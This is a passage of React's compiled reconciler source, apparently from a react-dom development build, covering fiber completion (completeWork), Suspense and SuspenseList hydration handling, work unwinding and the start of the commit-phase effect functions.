          // so we should bubble those up even during a bailout. All the other
          // flags have a lifetime only of a single render + commit, so we should
          // ignore them.

          subtreeFlags |= _child2.subtreeFlags & StaticMask;
          subtreeFlags |= _child2.flags & StaticMask;
          _treeBaseDuration += _child2.treeBaseDuration;
          _child2 = _child2.sibling;
        }

        completedWork.treeBaseDuration = _treeBaseDuration;
      } else {
        var _child3 = completedWork.child;

        while (_child3 !== null) {
          newChildLanes = mergeLanes(newChildLanes, mergeLanes(_child3.lanes, _child3.childLanes)); // "Static" flags share the lifetime of the fiber/hook they belong to,
          // so we should bubble those up even during a bailout. All the other
          // flags have a lifetime only of a single render + commit, so we should
          // ignore them.

          subtreeFlags |= _child3.subtreeFlags & StaticMask;
          subtreeFlags |= _child3.flags & StaticMask; // Update the return pointer so the tree is consistent. This is a code
          // smell because it assumes the commit phase is never concurrent with
          // the render phase. Will address during refactor to alternate model.

          _child3.return = completedWork;
          _child3 = _child3.sibling;
        }
      }

      completedWork.subtreeFlags |= subtreeFlags;
    }

    completedWork.childLanes = newChildLanes;
    return didBailout;
  }

  function completeDehydratedSuspenseBoundary(current, workInProgress, nextState) {
    if (hasUnhydratedTailNodes() && (workInProgress.mode & ConcurrentMode) !== NoMode && (workInProgress.flags & DidCapture) === NoFlags) {
      warnIfUnhydratedTailNodes(workInProgress);
      resetHydrationState();
      workInProgress.flags |= ForceClientRender | Incomplete | ShouldCapture;
      return false;
    }

    var wasHydrated = popHydrationState(workInProgress);

    if (nextState !== null && nextState.dehydrated !== null) {
      // We might be inside a hydration state the first time we're picking up this
      // Suspense boundary, and also after we've reentered it for further hydration.
      if (current === null) {
        if (!wasHydrated) {
          throw new Error('A dehydrated suspense component was completed without a hydrated node. ' + 'This is probably a bug in React.');
        }

        prepareToHydrateHostSuspenseInstance(workInProgress);
        bubbleProperties(workInProgress);

        {
          if ((workInProgress.mode & ProfileMode) !== NoMode) {
            var isTimedOutSuspense = nextState !== null;

            if (isTimedOutSuspense) {
              // Don't count time spent in a timed out Suspense subtree as part of the base duration.
              var primaryChildFragment = workInProgress.child;

              if (primaryChildFragment !== null) {
                // $FlowFixMe Flow doesn't support type casting in combination with the -= operator
                workInProgress.treeBaseDuration -= primaryChildFragment.treeBaseDuration;
              }
            }
          }
        }

        return false;
      } else {
        // We might have reentered this boundary to hydrate it. If so, we need to reset the hydration
        // state since we're now exiting out of it. popHydrationState doesn't do that for us.
        resetHydrationState();

        if ((workInProgress.flags & DidCapture) === NoFlags) {
          // This boundary did not suspend so it's now hydrated and unsuspended.
          workInProgress.memoizedState = null;
        } // If nothing suspended, we need to schedule an effect to mark this boundary
        // as having hydrated so events know that they're free to be invoked.
        // It's also a signal to replay events and the suspense callback.
        // If something suspended, schedule an effect to attach retry listeners.
        // So we might as well always mark this.


        workInProgress.flags |= Update;
        bubbleProperties(workInProgress);

        {
          if ((workInProgress.mode & ProfileMode) !== NoMode) {
            var _isTimedOutSuspense = nextState !== null;

            if (_isTimedOutSuspense) {
              // Don't count time spent in a timed out Suspense subtree as part of the base duration.
              var _primaryChildFragment = workInProgress.child;

              if (_primaryChildFragment !== null) {
                // $FlowFixMe Flow doesn't support type casting in combination with the -= operator
                workInProgress.treeBaseDuration -= _primaryChildFragment.treeBaseDuration;
              }
            }
          }
        }

        return false;
      }
    } else {
      // Successfully completed this tree. If this was a forced client render,
      // there may have been recoverable errors during first hydration
      // attempt. If so, add them to a queue so we can log them in the
      // commit phase.
      upgradeHydrationErrorsToRecoverable(); // Fall through to normal Suspense path

      return true;
    }
  }

  function completeWork(current, workInProgress, renderLanes) {
    var newProps = workInProgress.pendingProps; // Note: This intentionally doesn't check if we're hydrating because comparing
    // to the current tree provider fiber is just as fast and less error-prone.
    // Ideally we would have a special version of the work loop only
    // for hydration.

    popTreeContext(workInProgress);

    switch (workInProgress.tag) {
      case IndeterminateComponent:
      case LazyComponent:
      case SimpleMemoComponent:
      case FunctionComponent:
      case ForwardRef:
      case Fragment:
      case Mode:
      case Profiler:
      case ContextConsumer:
      case MemoComponent:
        bubbleProperties(workInProgress);
        return null;

      case ClassComponent:
        {
          var Component = workInProgress.type;

          if (isContextProvider(Component)) {
            popContext(workInProgress);
          }

          bubbleProperties(workInProgress);
          return null;
        }

      case HostRoot:
        {
          var fiberRoot = workInProgress.stateNode;
          popHostContainer(workInProgress);
          popTopLevelContextObject(workInProgress);
          resetWorkInProgressVersions();

          if (fiberRoot.pendingContext) {
            fiberRoot.context = fiberRoot.pendingContext;
            fiberRoot.pendingContext = null;
          }

          if (current === null || current.child === null) {
            // If we hydrated, pop so that we can delete any remaining children
            // that weren't hydrated.
            var wasHydrated = popHydrationState(workInProgress);

            if (wasHydrated) {
              // If we hydrated, then we'll need to schedule an update for
              // the commit side-effects on the root.
              markUpdate(workInProgress);
            } else {
              if (current !== null) {
                var prevState = current.memoizedState;

                if ( // Check if this is a client root
                !prevState.isDehydrated || // Check if we reverted to client rendering (e.g. due to an error)
                (workInProgress.flags & ForceClientRender) !== NoFlags) {
                  // Schedule an effect to clear this container at the start of the
                  // next commit. This handles the case of React rendering into a
                  // container with previous children. It's also safe to do for
                  // updates too, because current.child would only be null if the
                  // previous render was null (so the container would already
                  // be empty).
                  workInProgress.flags |= Snapshot; // If this was a forced client render, there may have been
                  // recoverable errors during first hydration attempt. If so, add
                  // them to a queue so we can log them in the commit phase.

                  upgradeHydrationErrorsToRecoverable();
                }
              }
            }
          }

          updateHostContainer(current, workInProgress);
          bubbleProperties(workInProgress);

          return null;
        }

      case HostComponent:
        {
          popHostContext(workInProgress);
          var rootContainerInstance = getRootHostContainer();
          var type = workInProgress.type;

          if (current !== null && workInProgress.stateNode != null) {
            updateHostComponent$1(current, workInProgress, type, newProps, rootContainerInstance);

            if (current.ref !== workInProgress.ref) {
              markRef$1(workInProgress);
            }
          } else {
            if (!newProps) {
              if (workInProgress.stateNode === null) {
                throw new Error('We must have new props for new mounts. This error is likely ' + 'caused by a bug in React. Please file an issue.');
              } // This can happen when we abort work.


              bubbleProperties(workInProgress);
              return null;
            }

            var currentHostContext = getHostContext(); // TODO: Move createInstance to beginWork and keep it on a context
            // "stack" as the parent. Then append children as we go in beginWork
            // or completeWork depending on whether we want to add them top->down or
            // bottom->up. Top->down is faster in IE11.

            var _wasHydrated = popHydrationState(workInProgress);

            if (_wasHydrated) {
              // TODO: Move this and createInstance step into the beginPhase
              // to consolidate.
              if (prepareToHydrateHostInstance(workInProgress, rootContainerInstance, currentHostContext)) {
                // If changes to the hydrated node need to be applied at the
                // commit-phase we mark this as such.
                markUpdate(workInProgress);
              }
            } else {
              var instance = createInstance(type, newProps, rootContainerInstance, currentHostContext, workInProgress);
              appendAllChildren(instance, workInProgress, false, false);
              workInProgress.stateNode = instance; // Certain renderers require commit-time effects for initial mount.
              // (eg DOM renderer supports auto-focus for certain elements).
              // Make sure such renderers get scheduled for later work.

              if (finalizeInitialChildren(instance, type, newProps, rootContainerInstance)) {
                markUpdate(workInProgress);
              }
            }

            if (workInProgress.ref !== null) {
              // If there is a ref on a host node we need to schedule a callback
              markRef$1(workInProgress);
            }
          }

          bubbleProperties(workInProgress);
          return null;
        }

      case HostText:
        {
          var newText = newProps;

          if (current && workInProgress.stateNode != null) {
            var oldText = current.memoizedProps; // If we have an alternate, that means this is an update and we need
            // to schedule a side-effect to do the updates.

            updateHostText$1(current, workInProgress, oldText, newText);
          } else {
            if (typeof newText !== 'string') {
              if (workInProgress.stateNode === null) {
                throw new Error('We must have new props for new mounts. This error is likely ' + 'caused by a bug in React. Please file an issue.');
              } // This can happen when we abort work.

            }

            var _rootContainerInstance = getRootHostContainer();

            var _currentHostContext = getHostContext();

            var _wasHydrated2 = popHydrationState(workInProgress);

            if (_wasHydrated2) {
              if (prepareToHydrateHostTextInstance(workInProgress)) {
                markUpdate(workInProgress);
              }
            } else {
              workInProgress.stateNode = createTextInstance(newText, _rootContainerInstance, _currentHostContext, workInProgress);
            }
          }

          bubbleProperties(workInProgress);
          return null;
        }

      case SuspenseComponent:
        {
          popSuspenseContext(workInProgress);
          var nextState = workInProgress.memoizedState; // Special path for dehydrated boundaries. We may eventually move this
          // to its own fiber type so that we can add other kinds of hydration
          // boundaries that aren't associated with a Suspense tree. In anticipation
          // of such a refactor, all the hydration logic is contained in
          // this branch.

          if (current === null || current.memoizedState !== null && current.memoizedState.dehydrated !== null) {
            var fallthroughToNormalSuspensePath = completeDehydratedSuspenseBoundary(current, workInProgress, nextState);

            if (!fallthroughToNormalSuspensePath) {
              if (workInProgress.flags & ShouldCapture) {
                // Special case. There were remaining unhydrated nodes. We treat
                // this as a mismatch. Revert to client rendering.
                return workInProgress;
              } else {
                // Did not finish hydrating, either because this is the initial
                // render or because something suspended.
                return null;
              }
            } // Continue with the normal Suspense path.

          }

          if ((workInProgress.flags & DidCapture) !== NoFlags) {
            // Something suspended. Re-render with the fallback children.
            workInProgress.lanes = renderLanes; // Do not reset the effect list.

            if ( (workInProgress.mode & ProfileMode) !== NoMode) {
              transferActualDuration(workInProgress);
            } // Don't bubble properties in this case.


            return workInProgress;
          }

          var nextDidTimeout = nextState !== null;
          var prevDidTimeout = current !== null && current.memoizedState !== null;
          // a passive effect, which is when we process the transitions


          if (nextDidTimeout !== prevDidTimeout) {
            // an effect to toggle the subtree's visibility. When we switch from
            // fallback -> primary, the inner Offscreen fiber schedules this effect
            // as part of its normal complete phase. But when we switch from
            // primary -> fallback, the inner Offscreen fiber does not have a complete
            // phase. So we need to schedule its effect here.
            //
            // We also use this flag to connect/disconnect the effects, but the same
            // logic applies: when re-connecting, the Offscreen fiber's complete
            // phase will handle scheduling the effect. It's only when the fallback
            // is active that we have to do anything special.


            if (nextDidTimeout) {
              var _offscreenFiber2 = workInProgress.child;
              _offscreenFiber2.flags |= Visibility; // TODO: This will still suspend a synchronous tree if anything
              // in the concurrent tree already suspended during this render.
              // This is a known bug.

              if ((workInProgress.mode & ConcurrentMode) !== NoMode) {
                // TODO: Move this back to throwException because this is too late
                // if this is a large tree which is common for initial loads. We
                // don't know if we should restart a render or not until we get
                // this marker, and this is too late.
                // If this render already had a ping or lower pri updates,
                // and this is the first time we know we're going to suspend we
                // should be able to immediately restart from within throwException.
                var hasInvisibleChildContext = current === null && (workInProgress.memoizedProps.unstable_avoidThisFallback !== true || !enableSuspenseAvoidThisFallback);

                if (hasInvisibleChildContext || hasSuspenseContext(suspenseStackCursor.current, InvisibleParentSuspenseContext)) {
                  // If this was in an invisible tree or a new render, then showing
                  // this boundary is ok.
                  renderDidSuspend();
                } else {
                  // Otherwise, we're going to have to hide content so we should
                  // suspend for longer if possible.
                  renderDidSuspendDelayIfPossible();
                }
              }
            }
          }

          var wakeables = workInProgress.updateQueue;

          if (wakeables !== null) {
            // Schedule an effect to attach a retry listener to the promise.
            // TODO: Move to passive phase
            workInProgress.flags |= Update;
          }

          bubbleProperties(workInProgress);

          {
            if ((workInProgress.mode & ProfileMode) !== NoMode) {
              if (nextDidTimeout) {
                // Don't count time spent in a timed out Suspense subtree as part of the base duration.
                var primaryChildFragment = workInProgress.child;

                if (primaryChildFragment !== null) {
                  // $FlowFixMe Flow doesn't support type casting in combination with the -= operator
                  workInProgress.treeBaseDuration -= primaryChildFragment.treeBaseDuration;
                }
              }
            }
          }

          return null;
        }

      case HostPortal:
        popHostContainer(workInProgress);
        updateHostContainer(current, workInProgress);

        if (current === null) {
          preparePortalMount(workInProgress.stateNode.containerInfo);
        }

        bubbleProperties(workInProgress);
        return null;

      case ContextProvider:
        // Pop provider fiber
        var context = workInProgress.type._context;
        popProvider(context, workInProgress);
        bubbleProperties(workInProgress);
        return null;

      case IncompleteClassComponent:
        {
          // Same as class component case. I put it down here so that the tags are
          // sequential to ensure this switch is compiled to a jump table.
          var _Component = workInProgress.type;

          if (isContextProvider(_Component)) {
            popContext(workInProgress);
          }

          bubbleProperties(workInProgress);
          return null;
        }

      case SuspenseListComponent:
        {
          popSuspenseContext(workInProgress);
          var renderState = workInProgress.memoizedState;

          if (renderState === null) {
            // We're running in the default, "independent" mode.
            // We don't do anything in this mode.
            bubbleProperties(workInProgress);
            return null;
          }

          var didSuspendAlready = (workInProgress.flags & DidCapture) !== NoFlags;
          var renderedTail = renderState.rendering;

          if (renderedTail === null) {
            // We just rendered the head.
            if (!didSuspendAlready) {
              // This is the first pass. We need to figure out if anything is still
              // suspended in the rendered set.
              // If new content unsuspended, but there's still some content that
              // didn't. Then we need to do a second pass that forces everything
              // to keep showing their fallbacks.
              // We might be suspended if something in this render pass suspended, or
              // something in the previous committed pass suspended. Otherwise,
              // there's no chance so we can skip the expensive call to
              // findFirstSuspended.
              var cannotBeSuspended = renderHasNotSuspendedYet() && (current === null || (current.flags & DidCapture) === NoFlags);

              if (!cannotBeSuspended) {
                var row = workInProgress.child;

                while (row !== null) {
                  var suspended = findFirstSuspended(row);

                  if (suspended !== null) {
                    didSuspendAlready = true;
                    workInProgress.flags |= DidCapture;
                    cutOffTailIfNeeded(renderState, false); // If this is a newly suspended tree, it might not get committed as
                    // part of the second pass. In that case nothing will subscribe to
                    // its thenables. Instead, we'll transfer its thenables to the
                    // SuspenseList so that it can retry if they resolve.
                    // There might be multiple of these in the list but since we're
                    // going to wait for all of them anyway, it doesn't really matter
                    // which ones gets to ping. In theory we could get clever and keep
                    // track of how many dependencies remain but it gets tricky because
                    // in the meantime, we can add/remove/change items and dependencies.
                    // We might bail out of the loop before finding any but that
                    // doesn't matter since that means that the other boundaries that
                    // we did find already has their listeners attached.

                    var newThenables = suspended.updateQueue;

                    if (newThenables !== null) {
                      workInProgress.updateQueue = newThenables;
                      workInProgress.flags |= Update;
                    } // Rerender the whole list, but this time, we'll force fallbacks
                    // to stay in place.
                    // Reset the effect flags before doing the second pass since that's now invalid.
                    // Reset the child fibers to their original state.


                    workInProgress.subtreeFlags = NoFlags;
                    resetChildFibers(workInProgress, renderLanes); // Set up the Suspense Context to force suspense and immediately
                    // rerender the children.

                    pushSuspenseContext(workInProgress, setShallowSuspenseContext(suspenseStackCursor.current, ForceSuspenseFallback)); // Don't bubble properties in this case.

                    return workInProgress.child;
                  }

                  row = row.sibling;
                }
              }

              if (renderState.tail !== null && now() > getRenderTargetTime()) {
                // We have already passed our CPU deadline but we still have rows
                // left in the tail. We'll just give up further attempts to render
                // the main content and only render fallbacks.
                workInProgress.flags |= DidCapture;
                didSuspendAlready = true;
                cutOffTailIfNeeded(renderState, false); // Since nothing actually suspended, there will nothing to ping this
                // to get it started back up to attempt the next item. While in terms
                // of priority this work has the same priority as this current render,
                // it's not part of the same transition once the transition has
                // committed. If it's sync, we still want to yield so that it can be
                // painted. Conceptually, this is really the same as pinging.
                // We can use any RetryLane even if it's the one currently rendering
                // since we're leaving it behind on this node.

                workInProgress.lanes = SomeRetryLane;
              }
            } else {
              cutOffTailIfNeeded(renderState, false);
            } // Next we're going to render the tail.

          } else {
            // Append the rendered row to the child list.
            if (!didSuspendAlready) {
              var _suspended = findFirstSuspended(renderedTail);

              if (_suspended !== null) {
                workInProgress.flags |= DidCapture;
                didSuspendAlready = true; // Ensure we transfer the update queue to the parent so that it doesn't
                // get lost if this row ends up dropped during a second pass.

                var _newThenables = _suspended.updateQueue;

                if (_newThenables !== null) {
                  workInProgress.updateQueue = _newThenables;
                  workInProgress.flags |= Update;
                }

                cutOffTailIfNeeded(renderState, true); // This might have been modified.

                if (renderState.tail === null && renderState.tailMode === 'hidden' && !renderedTail.alternate && !getIsHydrating() // We don't cut it if we're hydrating.
                ) {
                    // We're done.
                    bubbleProperties(workInProgress);
                    return null;
                  }
              } else if ( // The time it took to render last row is greater than the remaining
              // time we have to render. So rendering one more row would likely
              // exceed it.
              now() * 2 - renderState.renderingStartTime > getRenderTargetTime() && renderLanes !== OffscreenLane) {
                // We have now passed our CPU deadline and we'll just give up further
                // attempts to render the main content and only render fallbacks.
                // The assumption is that this is usually faster.
                workInProgress.flags |= DidCapture;
                didSuspendAlready = true;
                cutOffTailIfNeeded(renderState, false); // Since nothing actually suspended, there will nothing to ping this
                // to get it started back up to attempt the next item. While in terms
                // of priority this work has the same priority as this current render,
                // it's not part of the same transition once the transition has
                // committed. If it's sync, we still want to yield so that it can be
                // painted. Conceptually, this is really the same as pinging.
                // We can use any RetryLane even if it's the one currently rendering
                // since we're leaving it behind on this node.

                workInProgress.lanes = SomeRetryLane;
              }
            }

            if (renderState.isBackwards) {
              // The effect list of the backwards tail will have been added
              // to the end. This breaks the guarantee that life-cycles fire in
              // sibling order but that isn't a strong guarantee promised by React.
              // Especially since these might also just pop in during future commits.
              // Append to the beginning of the list.
              renderedTail.sibling = workInProgress.child;
              workInProgress.child = renderedTail;
            } else {
              var previousSibling = renderState.last;

              if (previousSibling !== null) {
                previousSibling.sibling = renderedTail;
              } else {
                workInProgress.child = renderedTail;
              }

              renderState.last = renderedTail;
            }
          }

          if (renderState.tail !== null) {
            // We still have tail rows to render.
            // Pop a row.
            var next = renderState.tail;
            renderState.rendering = next;
            renderState.tail = next.sibling;
            renderState.renderingStartTime = now();
            next.sibling = null; // Restore the context.
            // TODO: We can probably just avoid popping it instead and only
            // setting it the first time we go from not suspended to suspended.

            var suspenseContext = suspenseStackCursor.current;

            if (didSuspendAlready) {
              suspenseContext = setShallowSuspenseContext(suspenseContext, ForceSuspenseFallback);
            } else {
              suspenseContext = setDefaultShallowSuspenseContext(suspenseContext);
            }

            pushSuspenseContext(workInProgress, suspenseContext); // Do a pass over the next row.
            // Don't bubble properties in this case.

            return next;
          }

          bubbleProperties(workInProgress);
          return null;
        }

      case ScopeComponent:
        {

          break;
        }

      case OffscreenComponent:
      case LegacyHiddenComponent:
        {
          popRenderLanes(workInProgress);
          var _nextState = workInProgress.memoizedState;
          var nextIsHidden = _nextState !== null;

          if (current !== null) {
            var _prevState = current.memoizedState;
            var prevIsHidden = _prevState !== null;

            if (prevIsHidden !== nextIsHidden && ( // LegacyHidden doesn't do any hiding — it only pre-renders.
            !enableLegacyHidden )) {
              workInProgress.flags |= Visibility;
            }
          }

          if (!nextIsHidden || (workInProgress.mode & ConcurrentMode) === NoMode) {
            bubbleProperties(workInProgress);
          } else {
            // Don't bubble properties for hidden children unless we're rendering
            // at offscreen priority.
            if (includesSomeLane(subtreeRenderLanes, OffscreenLane)) {
              bubbleProperties(workInProgress);

              {
                // Check if there was an insertion or update in the hidden subtree.
                // If so, we need to hide those nodes in the commit phase, so
                // schedule a visibility effect.
                if ( workInProgress.subtreeFlags & (Placement | Update)) {
                  workInProgress.flags |= Visibility;
                }
              }
            }
          }
          return null;
        }

      case CacheComponent:
        {

          return null;
        }

      case TracingMarkerComponent:
        {

          return null;
        }
    }

    throw new Error("Unknown unit of work tag (" + workInProgress.tag + "). This error is likely caused by a bug in " + 'React. Please file an issue.');
  }

  function unwindWork(current, workInProgress, renderLanes) {
    // Note: This intentionally doesn't check if we're hydrating because comparing
    // to the current tree provider fiber is just as fast and less error-prone.
    // Ideally we would have a special version of the work loop only
    // for hydration.
    popTreeContext(workInProgress);

    switch (workInProgress.tag) {
      case ClassComponent:
        {
          var Component = workInProgress.type;

          if (isContextProvider(Component)) {
            popContext(workInProgress);
          }

          var flags = workInProgress.flags;

          if (flags & ShouldCapture) {
            workInProgress.flags = flags & ~ShouldCapture | DidCapture;

            if ( (workInProgress.mode & ProfileMode) !== NoMode) {
              transferActualDuration(workInProgress);
            }

            return workInProgress;
          }

          return null;
        }

      case HostRoot:
        {
          var root = workInProgress.stateNode;
          popHostContainer(workInProgress);
          popTopLevelContextObject(workInProgress);
          resetWorkInProgressVersions();
          var _flags = workInProgress.flags;

          if ((_flags & ShouldCapture) !== NoFlags && (_flags & DidCapture) === NoFlags) {
            // There was an error during render that wasn't captured by a suspense
            // boundary. Do a second pass on the root to unmount the children.
            workInProgress.flags = _flags & ~ShouldCapture | DidCapture;
            return workInProgress;
          } // We unwound to the root without completing it. Exit.


          return null;
        }

      case HostComponent:
        {
          // TODO: popHydrationState
          popHostContext(workInProgress);
          return null;
        }

      case SuspenseComponent:
        {
          popSuspenseContext(workInProgress);
          var suspenseState = workInProgress.memoizedState;

          if (suspenseState !== null && suspenseState.dehydrated !== null) {
            if (workInProgress.alternate === null) {
              throw new Error('Threw in newly mounted dehydrated component. This is likely a bug in ' + 'React. Please file an issue.');
            }

            resetHydrationState();
          }

          var _flags2 = workInProgress.flags;

          if (_flags2 & ShouldCapture) {
            workInProgress.flags = _flags2 & ~ShouldCapture | DidCapture; // Captured a suspense effect. Re-render the boundary.

            if ( (workInProgress.mode & ProfileMode) !== NoMode) {
              transferActualDuration(workInProgress);
            }

            return workInProgress;
          }

          return null;
        }

      case SuspenseListComponent:
        {
          popSuspenseContext(workInProgress); // SuspenseList doesn't actually catch anything. It should've been
          // caught by a nested boundary. If not, it should bubble through.

          return null;
        }

      case HostPortal:
        popHostContainer(workInProgress);
        return null;

      case ContextProvider:
        var context = workInProgress.type._context;
        popProvider(context, workInProgress);
        return null;

      case OffscreenComponent:
      case LegacyHiddenComponent:
        popRenderLanes(workInProgress);
        return null;

      case CacheComponent:

        return null;

      default:
        return null;
    }
  }

  function unwindInterruptedWork(current, interruptedWork, renderLanes) {
    // Note: This intentionally doesn't check if we're hydrating because comparing
    // to the current tree provider fiber is just as fast and less error-prone.
    // Ideally we would have a special version of the work loop only
    // for hydration.
    popTreeContext(interruptedWork);

    switch (interruptedWork.tag) {
      case ClassComponent:
        {
          var childContextTypes = interruptedWork.type.childContextTypes;

          if (childContextTypes !== null && childContextTypes !== undefined) {
            popContext(interruptedWork);
          }

          break;
        }

      case HostRoot:
        {
          var root = interruptedWork.stateNode;
          popHostContainer(interruptedWork);
          popTopLevelContextObject(interruptedWork);
          resetWorkInProgressVersions();
          break;
        }

      case HostComponent:
        {
          popHostContext(interruptedWork);
          break;
        }

      case HostPortal:
        popHostContainer(interruptedWork);
        break;

      case SuspenseComponent:
        popSuspenseContext(interruptedWork);
        break;

      case SuspenseListComponent:
        popSuspenseContext(interruptedWork);
        break;

      case ContextProvider:
        var context = interruptedWork.type._context;
        popProvider(context, interruptedWork);
        break;

      case OffscreenComponent:
      case LegacyHiddenComponent:
        popRenderLanes(interruptedWork);
        break;
    }
  }

  var didWarnAboutUndefinedSnapshotBeforeUpdate = null;

  {
    didWarnAboutUndefinedSnapshotBeforeUpdate = new Set();
  } // Used during the commit phase to track the state of the Offscreen component stack.
  // Allows us to avoid traversing the return path to find the nearest Offscreen ancestor.
  // Only used when enableSuspenseLayoutEffectSemantics is enabled.


  var offscreenSubtreeIsHidden = false;
  var offscreenSubtreeWasHidden = false;
  var PossiblyWeakSet = typeof WeakSet === 'function' ? WeakSet : Set;
  var nextEffect = null; // Used for Profiling builds to track updaters.

  var inProgressLanes = null;
  var inProgressRoot = null;
  function reportUncaughtErrorInDEV(error) {
    // Wrapping each small part of the commit phase into a guarded
    // callback is a bit too slow (https://github.com/facebook/react/pull/21666).
    // But we rely on it to surface errors to DEV tools like overlays
    // (https://github.com/facebook/react/issues/21712).
    // As a compromise, rethrow only caught errors in a guard.
    {
      invokeGuardedCallback(null, function () {
        throw error;
      });
      clearCaughtError();
    }
  }

  var callComponentWillUnmountWithTimer = function (current, instance) {
    instance.props = current.memoizedProps;
    instance.state = current.memoizedState;

    if ( current.mode & ProfileMode) {
      try {
        startLayoutEffectTimer();
        instance.componentWillUnmount();
      } finally {
        recordLayoutEffectDuration(current);
      }
    } else {
      instance.componentWillUnmount();
    }
  }; // Capture errors so they don't interrupt mounting.


  function safelyCallCommitHookLayoutEffectListMount(current, nearestMountedAncestor) {
    try {
      commitHookEffectListMount(Layout, current);
    } catch (error) {
      captureCommitPhaseError(current, nearestMountedAncestor, error);
    }
  } // Capture errors so they don't interrupt unmounting.


  function safelyCallComponentWillUnmount(current, nearestMountedAncestor, instance) {
    try {
      callComponentWillUnmountWithTimer(current, instance);
    } catch (error) {
      captureCommitPhaseError(current, nearestMountedAncestor, error);
    }
  } // Capture errors so they don't interrupt mounting.


  function safelyCallComponentDidMount(current, nearestMountedAncestor, instance) {
    try {
      instance.componentDidMount();
    } catch (error) {
      captureCommitPhaseError(current, nearestMountedAncestor, error);
    }
  } // Capture errors so they don't interrupt mounting.


  function safelyAttachRef(current, nearestMountedAncestor) {
    try {
      commitAttachRef(current);
    } catch (error) {
      captureCommitPhaseError(current, nearestMountedAncestor, error);
    }
  }

  function safelyDetachRef(current, nearestMountedAncestor) {
    var ref = current.ref;

    if (ref !== null) {
      if (typeof ref === 'function') {
        var retVal;

        try {
          if (enableProfilerTimer && enableProfilerCommitHooks && current.mode & ProfileMode) {
            try {
              startLayoutEffectTimer();
              retVal = ref(null);
            } finally {
              recordLayoutEffectDuration(current);
            }
          } else {
            retVal = ref(null);
          }
        } catch (error) {
          captureCommitPhaseError(current, nearestMountedAncestor, error);
        }

        {
          if (typeof retVal === 'function') {
            error('Unexpected return value from a callback ref in %s. ' + 'A callback ref should not return a function.', getComponentNameFromFiber(current));
          }
        }
      } else {
        ref.current = null;
      }
    }
  }

  function safelyCallDestroy(current, nearestMountedAncestor, destroy) {
    try {
      destroy();
    } catch (error) {
      captureCommitPhaseError(current, nearestMountedAncestor, error);
    }
  }

  var focusedInstanceHandle = null;
  var shouldFireAfterActiveInstanceBlur = false;
  function commitBeforeMutationEffects(root, firstChild) {
    focusedInstanceHandle = prepareForCommit(root.containerInfo);
    nextEffect = firstChild;
    commitBeforeMutationEffects_begin(); // We no longer need to track the active instance fiber

    var shouldFire = shouldFireAfterActiveInstanceBlur;
    shouldFireAfterActiveInstanceBlur = false;
    focusedInstanceHandle = null;
    return shouldFire;
  }

  function commitBeforeMutationEffects_begin() {
    while (nextEffect !== null) {
      var fiber = nextEffect; // This phase is only used for beforeActiveInstanceBlur.

      var child = fiber.child;

      if ((fiber.subtreeFlags & BeforeMutationMask) !== NoFlags && child !== null) {
        child.return = fiber;
        nextEffect = child;
      } else {
        commitBeforeMutationEffects_complete();
      }
    }
  }

  function commitBeforeMutationEffects_complete() {
    while (nextEffect !== null) {
      var fiber = nextEffect;
      setCurrentFiber(fiber);

      try {
        commitBeforeMutationEffectsOnFiber(fiber);
      } catch (error) {
        captureCommitPhaseError(fiber, fiber.return, error);
      }

      resetCurrentFiber();
      var sibling = fiber.sibling;

      if (sibling !== null) {
        sibling.return = fiber.return;
        nextEffect = sibling;
        return;
      }

      nextEffect = fiber.return;
    }
  }

  function commitBeforeMutationEffectsOnFiber(finishedWork) {
    var current = finishedWork.alternate;
    var flags = finishedWork.flags;

    if ((flags & Snapshot) !== NoFlags) {
      setCurrentFiber(finishedWork);

      switch (finishedWork.tag) {
        case FunctionComponent:
        case ForwardRef:
        case SimpleMemoComponent:
          {
            break;
          }

        case ClassComponent:
          {
            if (current !== null) {
              var prevProps = current.memoizedProps;
              var prevState = current.memoizedState;
              var instance = finishedWork.stateNode; // We could update instance props and state here,
              // but instead we rely on them being set during last render.
              // TODO: revisit this when we implement resuming.

              {
                if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
                  if (instance.props !== finishedWork.memoizedProps) {
                    error('Expected %s props to match memoized props before ' + 'getSnapshotBeforeUpdate. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.props`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
                  }

                  if (instance.state !== finishedWork.memoizedState) {
                    error('Expected %s state to match memoized state before ' + 'getSnapshotBeforeUpdate. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.state`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
                  }
                }
              }

              var snapshot = instance.getSnapshotBeforeUpdate(finishedWork.elementType === finishedWork.type ? prevProps : resolveDefaultProps(finishedWork.type, prevProps), prevState);

              {
                var didWarnSet = didWarnAboutUndefinedSnapshotBeforeUpdate;

                if (snapshot === undefined && !didWarnSet.has(finishedWork.type)) {
                  didWarnSet.add(finishedWork.type);

                  error('%s.getSnapshotBeforeUpdate(): A snapshot value (or null) ' + 'must be returned. You have returned undefined.', getComponentNameFromFiber(finishedWork));
                }
              }

              instance.__reactInternalSnapshotBeforeUpdate = snapshot;
            }

            break;
          }

        case HostRoot:
          {
            {
              var root = finishedWork.stateNode;
              clearContainer(root.containerInfo);
            }

            break;
          }

        case HostComponent:
        case HostText:
        case HostPortal:
        case IncompleteClassComponent:
          // Nothing to do for these component types
          break;

        default:
          {
            throw new Error('This unit of work tag should not have side-effects. This error is ' + 'likely caused by a bug in React. Please file an issue.');
          }
      }

      resetCurrentFiber();
    }
  }

  function commitHookEffectListUnmount(flags, finishedWork, nearestMountedAncestor) {
    var updateQueue = finishedWork.updateQueue;
    var lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;

    if (lastEffect !== null) {
      var firstEffect = lastEffect.next;
      var effect = firstEffect;

      do {
        if ((effect.tag & flags) === flags) {
          // Unmount
          var destroy = effect.destroy;
          effect.destroy = undefined;

          if (destroy !== undefined) {
            {
              if ((flags & Passive$1) !== NoFlags$1) {
                markComponentPassiveEffectUnmountStarted(finishedWork);
              } else if ((flags & Layout) !== NoFlags$1) {
                markComponentLayoutEffectUnmountStarted(finishedWork);
              }
            }

            {
              if ((flags & Insertion) !== NoFlags$1) {
                setIsRunningInsertionEffect(true);
              }
            }

            safelyCallDestroy(finishedWork, nearestMountedAncestor, destroy);

            {
              if ((flags & Insertion) !== NoFlags$1) {
                setIsRunningInsertionEffect(false);
              }
            }

            {
              if ((flags & Passive$1) !== NoFlags$1) {
                markComponentPassiveEffectUnmountStopped();
              } else if ((flags & Layout) !== NoFlags$1) {
                markComponentLayoutEffectUnmountStopped();
              }
            }
          }
        }

        effect = effect.next;
      } while (effect !== firstEffect);
    }
  }

